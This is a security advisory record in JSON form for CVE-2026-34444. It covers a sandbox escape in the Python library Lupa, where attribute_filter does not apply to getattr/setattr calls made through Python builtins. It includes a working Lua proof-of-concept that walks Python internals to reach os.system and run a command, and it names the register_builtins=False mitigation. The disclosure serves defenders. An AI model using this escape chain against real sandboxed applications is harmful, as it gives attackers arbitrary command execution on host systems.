{"id":"GHSA-69v7-xpr6-6gjm","summary":"Lupa has a Sandbox escape and RCE due to incomplete attribute_filter enforcement in getattr / setattr","details":"### Summary\nThe `attribute_filter` in the Lupa library is intended to restrict access to sensitive Python attributes when exposing objects to Lua.\n\nHowever, the filter is not consistently applied when attributes are accessed through built-in functions like getattr and setattr. This allows an attacker to bypass the intended restrictions and eventually achieve arbitrary code execution.\n\n### Details\nThe `attribute_filter` is meant to block access to attributes such as `__class__`, `__mro__`, and similar internal properties.\n\nIn practice, it only applies to direct attribute access:\n- `obj.attr` → filtered\n- `getattr(obj, \"attr\")` → not filtered\nBecause of this inconsistency, it’s possible to bypass the filter entirely, if access to the Python builtins is granted to Lua code.\n\nAn attacker can use getattr to-\n- Access `__class__`\n- Walk the `__mro__` chain\n- Call `__subclasses__()`\n- Iterate over available classes\n- Find a function that exposes `__globals__`\n- Retrieve something like `os.system`\n\nAt that point, arbitrary command execution becomes straightforward.\n\nThis effectively breaks the security boundary that `attribute_filter` is expected to enforce.\n\n\n### PoC\nThe following example shows how the filter can be bypassed to execute `os.system`:'\n```\nimport lupa\nfrom lupa import LuaRuntime\n\ndef protected_attribute_filter(obj, attr_name, is_setting):\n    if isinstance(attr_name, str) and attr_name.startswith('_'):\n        raise AttributeError(f\"Access to '{attr_name}' is forbidden\")\n    return attr_name\n\nlua = LuaRuntime(unpack_returned_tuples=True, attribute_filter=protected_attribute_filter)\n\nclass UserProfile:\n    def __init__(self, name): self.name = name\n\nlua.globals().user = UserProfile(\"test\")\n\nlua.execute(\"\"\"\nlocal py = python.builtins\nlocal getattr = py.getattr\nlocal setattr = py.setattr\n\nlocal cls = getattr(user, \"__class__\")\nlocal _, obj_cls = getattr(cls, \"__mro__\")\n\nlocal subs = getattr(obj_cls, \"__subclasses__\")()\nfor _, c in ipairs(subs) do\n    if tostring(c):find(\"os._wrap_close\") then\n        local system = getattr(getattr(c, \"__init__\"), \"__globals__\")[\"system\"]\n        setattr(user, \"run\", system)\n        user.run(\"id\")\n    end\nend\n\"\"\")\n```\n\n\n### Impact\nAn attacker who can execute Lua code can:\n- Bypass the `attribute_filter`\n- Access Python internals\n- Traverse the object graph\n- Reach execution primitives\n\nThis leads to full sandbox escape and arbitrary command execution in the host Python process.\nAny application relying on `attribute_filter` as a security control for untrusted Lua code execution is affected, if it does not also disallow access to the Python builtins via the `register_builtins=False` option.","aliases":["CVE-2026-34444","PYSEC-2026-2613"],"modified":"2026-09-10T03:50:43.384103709Z","published":"2026-04-07T15:48:13Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-04-07T15:48:13Z","nvd_published_at":"2026-04-06T16:16:35Z","cwe_ids":["CWE-284","CWE-693"]},"references":[{"type":"WEB","url":"https://github.com/scoder/lupa/security/advisories/GHSA-69v7-xpr6-6gjm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34444"},{"type":"PACKAGE","url":"https://github.com/scoder/lupa"}],"affected":[{"package":{"name":"lupa","ecosystem":"PyPI","purl":"pkg:pypi/lupa"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.6"}]}],"versions":["0.1","0.10","0.11","0.12","0.13","0.13.1","0.14","0.15","0.16","0.17","0.18","0.19","0.2","0.20","0.21","0.3","0.4","0.5","0.6","0.7","0.8","0.9","1.0","1.0.1","1.0b1","1.1","1.10","1.11","1.12","1.13","1.14.1","1.2","1.3","1.4","1.5","1.6","1.7","1.8","1.9","2.0","2.1","2.2","2.3","2.4","2.5","2.6"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-69v7-xpr6-6gjm/GHSA-69v7-xpr6-6gjm.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H"}]}